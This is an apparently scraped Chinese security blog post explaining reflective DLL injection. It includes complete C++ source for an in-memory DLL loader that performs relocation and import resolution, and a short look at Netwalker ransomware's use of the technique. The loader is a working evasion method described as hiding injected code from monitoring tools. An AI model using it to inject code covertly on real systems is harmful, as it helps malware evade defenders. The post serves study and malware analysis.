dll oem证书导入工具_技术干货 | 恶意代码分析之反射型DLL注入
欢迎各位添加微信号:qinchang_198231
加入安全+ 交流群 和大佬们一起交流安全技术
01
技术概要
这是一种允许攻击者从内存而非磁盘向指定进程注入DLL的技术,该技术比常规的DLL注入更为隐蔽,因为除了不需要磁盘上的实际DLL文件之外,它也不需要任何Windows加载程序的辅助即可注入。这消除了将DLL注册为进程已加载模块的需求,从而可逃脱工具的监视。
首先准备好测试dll,使用VS2015先编译生成一个测试dll文件,作用是dll被进程附加的时候会执行MessageBox弹框,切记不要选择空项目。如下,在DLL_PROCESS_ATTACH添加一个消息框函数,直接编译生成dll。
下面会根据源码逐步分析整体执行流程,示例代码是模拟内存自加载dll的过程,为了演示所以采用了比较简单的方式,dll文件生成后放在在本地,而真实案例中恶意代码会存在母体文件的内存中,因为需要不落地内存加载。
先声明相应的结构体变量,采用指定位数的方式指定结构体变量实际占用的位数(根据重定位表的特性),声明一个函数指针便于后续进行调用执行dll入口。
第一步先通过GetModuleHandleA获取基址,避免ASLR随机基址影响,读取dll文件内容加载至内存中,通过PE结构获取实际加载至内存中dll的PE头部数据。
分配dll加载时所需的内存空间,获取加载基址与预期基址的差值,接着复制dll头部数据至新的内存空间。
开始模拟Windows加载器功能加载PE文件至内存,如下。
02
PE文件重定位
基址重定位表位于PE头的IMAGE_NT_HEADERS/IMAGE_OPTION_HEADER/IMAGE_DATA_DIRECTORY[5],换句话说重定位表位于可选头的数据目录表下的第六项,基址重定位表中记录硬编码地址的位置(偏移),使用这张表就能获得准确的硬编码地址偏移并后续对其修正。重定位表是按照一个物理页(4kb或1000H)进行存储的,也就是一个重定位块负责一个4kb内存页,一个重定位表只管自己当前的物理页重定位。一个重定位表的记录偏移的大小是2个字节(1000H最多需要12bit即可0~FFFH),也就是16位,而记录偏移的大小是由SizeofBlock决定的。
如何修正?
将指令中的操作数按照指针字节数读取出来,然后将其减去默认加载基址(扩展头中的字段ImageBase),再加上新的加载基址,最后把新地址存入原来的地址中。
重定位工作完成之后,进行导入表的解析。
以上工作准备完毕之后,就已经模拟内存加载完成,之后获取dll文件入口点进行执行,利用了之前声明的函数指针。
03
示例源码
#include
#include
typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
using DLLEntry = BOOL(WINAPI *)(HINSTANCE dll, DWORD reason, LPVOID reserved);
int main()
{
//得到当前模块的基址
PVOID imageBase = GetModuleHandleA(NULL);
//本地加载dll内容至内存中
HANDLE dll = CreateFileA("C:\\Users\\onion\\Desktop\\dll\\Release\\dll.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
DWORD64 dllSize = GetFileSize(dll, NULL);
LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);
DWORD outSize = 0;
ReadFile(dll, dllBytes, dllSize, &outSize, NULL);
//获取已加载至内存中的dll的头部数据
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew);
SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;
//分配dll加载时所需的内存空间
LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//得到实际分配的内存基址与预期的基址差值,便于后续进行重定向
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;
//将dll头部数据复制到分配的内存空间
std::memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);
//加载节区数据至新的内存空间
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
{
LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
std::memcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
section++;
}
// 开始dll加载实现重定位
IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
DWORD relocationsProcessed = 0;
while (relocationsProcessed < relocations.Size)
{
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);
for (DWORD i = 0; i < relocationsCount; i++)
{
relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);
if (relocationEntries[i].Type == 0)
{
continue;
}
DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
DWORD_PTR addressToPatch = 0;
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
addressToPatch += deltaImageBase;
std::memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
}
}
//解析导入表
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
LPCSTR libraryName = "";
HMODULE library = NULL;
while (importDescriptor->Name != NULL)
{
libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
library = LoadLibraryA(libraryName);
if (library)
{
PIMAGE_THUNK_DATA thunk = NULL;
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);
while (thunk->u1.AddressOfData != NULL)
{
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
{
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
}
else
{
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
thunk->u1.Function = functionAddress;
}
++thunk;
}
}
importDescriptor++;
}
//执行加载的dll
DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
CloseHandle(dll);
HeapFree(GetProcessHeap(), 0, dllBytes);
return 0;
}
04
整个流程
1、读入原始DLL文件至内存缓冲区;
2、解析DLL标头并获取SizeOfImage;
3、为DLL分配新的内存空间,大小为SizeOfImage;
4、将DLL标头和PE节复制到步骤3中分配的内存空间;
5、执行重定位;
6、加载DLL导入的库;
7、解析导入地址表(IAT);
8、调用DLL的DLL_PROCESS_ATTACH;
05
演示效果
06
真实案例
Netwalker勒索软件dll自加载技术
恶意文件是一个混淆并加密过的PowerShell脚本,先对PowerShell脚本进行解混淆。解混淆后的内容如下,字节序列中的0x4d、0x5a明显是一个PE文件标志头,一旦加载执行后,这部分内容就在内存中了。
明显的C#代码模拟解析PE结构,如下。
执行自加载执行,如下。
更详细的内容可去除混淆后自行查看,该勒索样本实现的反射加载过程非常明显。加载执行后,通过模拟加载dll并调用导出函数Do后进而实现注入目标进程,类似的技术则与开源项目PowerSploit中的反射自加载的Mimikatz脚本实现相类似。
07
参考
https://ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1
dll oem证书导入工具_技术干货 | 恶意代码分析之反射型DLL注入相关推荐
- dll oem证书导入工具_恶意代码分析之反射型DLL注入
01 技术概要 这是一种允许攻击者从内存而非磁盘向指定进程注入DLL的技术,该技术比常规的DLL注入更为隐蔽,因为除了不需要磁盘上的实际DLL文件之外,它也不需要任何Windows加载程序的辅助即可注 ...
- 20145328 《网络对抗技术》恶意代码分析
20145328 <网络对抗技术>恶意代码分析 ------看到这句话说明还没写完-------- 实践内容: 使用schtasks指令监控系统运行 使用sysmon工具监控系统运行 使用 ...
- 20145204张亚军《网络对抗技术》恶意代码分析
实验内容 schtasks.Sysmon对电脑进行系统检测,并分析. 对恶意软件进行静态分析,直接上传到网上,或者利用peid等软件. 对恶意软件进行动态分析,使用systracer,以及wiresh ...
- 2018-2019-2 网络对抗技术 20165320 Exp4 恶意代码分析
2018-2019-2 网络对抗技术 20165320 Exp4 恶意代码分析 一.实践目标 监控你自己系统的运行状态,看有没有可疑的程序在运行 分析一个恶意软件,就分析Exp2或Exp3中生成后门软 ...
- 2017-2018-2 20155228 《网络对抗技术》 实验四:恶意代码分析
2017-2018-2 20155228 <网络对抗技术> 实验四:恶意代码分析 1. 实践内容 1.1 系统运行监控 使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部 ...
- 2018-2019-2 20165114《网络对抗技术》Exp4 恶意代码分析
Exp4 恶意代码分析 目录 一.实验目标 (1)监控你自己系统的运行状态,看有没有可疑的程序在运行. (2)分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工具尽量使用原生指令或sys ...
- 2018-2019-2 20165209 《网络对抗技术》Exp4:恶意代码分析
2018-2019-2 20165209 <网络对抗技术>Exp4:恶意代码分析 1 基础问题回答和实验内容 1.1基础问题回答 如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监 ...
- 2018-2019-2 20165330《网络对抗技术》Exp4 恶意代码分析
目录 基础问题 相关知识 实验目的 实验内容 实验步骤 实验过程中遇到的问题 实验总结与体会 实验目的 监控你自己系统的运行状态,看有没有可疑的程序在运行 分析一个恶意软件,就分析Exp2或Exp3中 ...
- 2018-2019-2 网络对抗技术 20165324 Exp4:恶意代码分析
2018-2019-2 网络对抗技术 20165324 网络对抗技术 Exp4:恶意代码分析 课下实验: 实践目标 是监控你自己系统的运行状态,看有没有可疑的程序在运行. 是分析一个恶意软件,就分析E ...
最新文章
- v-show与v-if的区别
- ----uni-app之修改头像----
- java23中设计模式——行为模式——Chain of Responsibility(职责链)
- 为什么Windows7打开项目的方式是灰的不能修改
- Python--sort()函数的用法
- 【机器学习系列】HMM第四讲:从状态空间模型再回看HMM模型
- Niushop开源微信商城+小程序商城源码
- 什么是java实例化?举例说明
- 键盘驱动出现黄色感叹号解决方法
- open office进程总退出问题解决方法
- java 分卷压缩_Java:分卷压缩和解压缩请选择Zip4j
- apple账号被锁定且密码无法重设
- Unity实现飞机大战简单易懂
- 记录一次Excel表格的误删恢复操作,WPS版
- 一个比较全的vim命令
- linux内核编程13期:内存管理
- 设置移动光猫外置路由器(上网+iptv正常使用)
- 怎么调用onenet平台的API从而读取我们的设备数据和下发命令,做到控制开关
- java毕业设计软件S2SH人力资源管理系统|人事薪资招聘oa人力请假考勤工资[包运行成功]
- 快速搭建个人博客——保姆级教程